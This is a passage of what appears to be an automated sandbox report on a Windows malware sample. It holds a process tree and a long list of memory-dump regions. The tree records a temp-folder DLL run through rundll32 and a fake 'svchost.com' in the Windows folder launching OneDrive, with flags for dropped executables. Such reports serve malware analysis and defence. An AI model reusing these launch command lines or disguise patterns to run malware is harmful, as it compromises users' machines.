                                                                                                                                                                                                                                                                                                                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                          PID:6992
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:4456
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:5208
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                              PID:5528
                                                                                                                                                                                                                                                                                                                            • C:\Windows\svchost.com
                                                                                                                                                                                                                                                                                                                              "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\MICROS~1\OneDrive\STANDA~1\ONEDRI~1.EXE" /update
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:4352
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\MICROS~1\OneDrive\STANDA~1\ONEDRI~1.EXE
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\MICROS~1\OneDrive\STANDA~1\ONEDRI~1.EXE /update
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:5428
                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\MICROS~1\OneDrive\STANDA~1\ONEDRI~1.EXE
                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\MICROS~1\OneDrive\STANDA~1\ONEDRI~1.EXE /update /peruser /childprocess
                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                        PID:1160
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:668
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:6532
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:7060
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:2788
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:3704

                                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                                                                                                                                            • memory/776-203-0x0000000000BD0000-0x0000000000BD1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/776-214-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/776-413-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/776-210-0x0000000005400000-0x0000000005401000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/776-227-0x0000000005380000-0x00000000053F6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              472KB

                                                                                                                                                                                                                                                                                                                                            • memory/1032-568-0x0000020B69E70000-0x0000020B69EE2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/1084-541-0x000001668A480000-0x000001668A4F2000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/1272-191-0x0000000000690000-0x0000000000691000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1272-195-0x0000000000690000-0x0000000000691000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1384-277-0x00000000006D0000-0x00000000006D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1384-264-0x00000000002A0000-0x00000000002A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1384-189-0x0000000000B80000-0x0000000000B81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1384-199-0x000000001B920000-0x000000001B922000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/1384-292-0x000000001AF70000-0x000000001AF72000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/1488-253-0x0000000005600000-0x0000000005745000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.3MB

                                                                                                                                                                                                                                                                                                                                            • memory/1584-303-0x0000000000FD0000-0x0000000000FE5000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              84KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-250-0x0000000003860000-0x0000000003861000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-276-0x0000000005DB4000-0x0000000005DB6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-220-0x0000000005DC0000-0x0000000005DC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-255-0x00000000062C0000-0x00000000062C1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-218-0x0000000001830000-0x000000000184F000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              124KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-234-0x0000000005DB0000-0x0000000005DB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-222-0x0000000005DB2000-0x0000000005DB3000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-217-0x00000000016E0000-0x000000000178E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              696KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-273-0x0000000005D10000-0x0000000005D11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-226-0x00000000034E0000-0x00000000034FD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              116KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-230-0x0000000000400000-0x00000000016E0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              18.9MB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-235-0x00000000068D0000-0x00000000068D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1600-237-0x0000000005DB3000-0x0000000005DB4000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1840-447-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/1908-498-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/1908-553-0x0000000005DE0000-0x0000000005DE1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/1928-274-0x0000000000A40000-0x0000000000A52000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              72KB

                                                                                                                                                                                                                                                                                                                                            • memory/1928-268-0x0000000000560000-0x0000000000570000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              64KB

                                                                                                                                                                                                                                                                                                                                            • memory/1936-453-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/1936-519-0x0000000003190000-0x0000000003191000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2008-252-0x000000001BE10000-0x000000001BE11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2008-200-0x0000000001250000-0x0000000001252000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/2008-192-0x0000000001200000-0x0000000001201000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2008-176-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2180-392-0x0000000000400000-0x00000000004D9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              868KB

                                                                                                                                                                                                                                                                                                                                            • memory/2180-385-0x0000000000870000-0x0000000000946000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              856KB

                                                                                                                                                                                                                                                                                                                                            • memory/2180-271-0x00000000006C1000-0x000000000073E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              500KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-288-0x00000000081E0000-0x00000000081E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-239-0x0000000007E90000-0x0000000007E91000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-208-0x0000000007540000-0x0000000007541000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-249-0x00000000071E0000-0x00000000071E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-212-0x0000000004E40000-0x0000000004E41000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-213-0x0000000004E42000-0x0000000004E43000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-216-0x0000000007C80000-0x0000000007C81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-201-0x0000000003260000-0x0000000003261000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-223-0x0000000007D80000-0x0000000007D81000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-280-0x0000000007D30000-0x0000000007D31000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-202-0x0000000003260000-0x0000000003261000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-221-0x0000000007C20000-0x0000000007C21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-206-0x0000000006ED0000-0x0000000006ED1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-259-0x00000000084D0000-0x00000000084D1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2308-225-0x0000000007E20000-0x0000000007E21000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2372-490-0x00000294D65A0000-0x00000294D6612000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/2396-512-0x00000186DDB20000-0x00000186DDB92000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/2444-246-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2444-247-0x0000000000AC0000-0x0000000000AC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2548-228-0x0000000005670000-0x0000000005671000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2548-204-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/2716-482-0x0000024F04A00000-0x0000024F04A72000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-133-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              572KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-136-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-131-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              572KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              572KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-140-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-135-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-142-0x000000006B280000-0x000000006B2A6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              152KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-138-0x0000000064940000-0x0000000064959000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              100KB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-141-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                                                                                                            • memory/2796-139-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.5MB

                                                                                                                                                                                                                                                                                                                                            • memory/2844-224-0x0000000000400000-0x00000000016C0000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              18.8MB

                                                                                                                                                                                                                                                                                                                                            • memory/2844-236-0x00000000016C0000-0x000000000176E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              696KB

                                                                                                                                                                                                                                                                                                                                            • memory/3060-175-0x00000000019C6000-0x00000000019EF000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              164KB

                                                                                                                                                                                                                                                                                                                                            • memory/3060-233-0x0000000001950000-0x0000000001998000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              288KB

                                                                                                                                                                                                                                                                                                                                            • memory/3060-219-0x0000000000400000-0x00000000016D9000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              18.8MB

                                                                                                                                                                                                                                                                                                                                            • memory/3148-354-0x0000000005450000-0x0000000005451000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/3148-304-0x0000000000BB0000-0x0000000000BB1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/3296-443-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/3296-508-0x0000000005520000-0x0000000005521000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/3500-403-0x0000000002D60000-0x0000000002DBD000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              372KB

                                                                                                                                                                                                                                                                                                                                            • memory/3500-400-0x0000000004569000-0x000000000466A000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.0MB

                                                                                                                                                                                                                                                                                                                                            • memory/3584-242-0x0000000000EA0000-0x0000000000EA1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/3916-425-0x00000189027C0000-0x0000018902832000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB

                                                                                                                                                                                                                                                                                                                                            • memory/3916-408-0x0000018902700000-0x000001890274D000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              308KB

                                                                                                                                                                                                                                                                                                                                            • memory/3952-525-0x0000000003340000-0x0000000003416000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              856KB

                                                                                                                                                                                                                                                                                                                                            • memory/4168-291-0x000000001AD30000-0x000000001AD32000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/4168-281-0x0000000000010000-0x0000000000011000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4168-300-0x000000001B750000-0x000000001B751000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4260-341-0x00000000056E0000-0x0000000005CE6000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              6.0MB

                                                                                                                                                                                                                                                                                                                                            • memory/4320-320-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              80KB

                                                                                                                                                                                                                                                                                                                                            • memory/4324-547-0x0000000005F10000-0x0000000005F11000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4324-460-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/4408-470-0x0000000005100000-0x0000000005101000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4516-299-0x0000000000610000-0x0000000000611000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4516-377-0x0000000000E20000-0x0000000000E22000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              8KB

                                                                                                                                                                                                                                                                                                                                            • memory/4664-396-0x00000000052A0000-0x00000000052A1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4716-327-0x00000000001E0000-0x00000000001E1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4724-533-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/4732-352-0x00000000773E0000-0x000000007756E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              1.6MB

                                                                                                                                                                                                                                                                                                                                            • memory/4732-417-0x0000000005430000-0x0000000005431000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4780-418-0x0000000005420000-0x0000000005421000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4852-384-0x00000000030B0000-0x00000000030B1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/4964-504-0x0000000004AF0000-0x0000000004AF1000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              4KB

                                                                                                                                                                                                                                                                                                                                            • memory/5116-350-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              80KB

                                                                                                                                                                                                                                                                                                                                            • memory/5164-562-0x0000000005030000-0x000000000552E000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              5.0MB

                                                                                                                                                                                                                                                                                                                                            • memory/5224-439-0x0000024E87700000-0x0000024E87772000-memory.dmp

                                                                                                                                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                                                                                                                                              456KB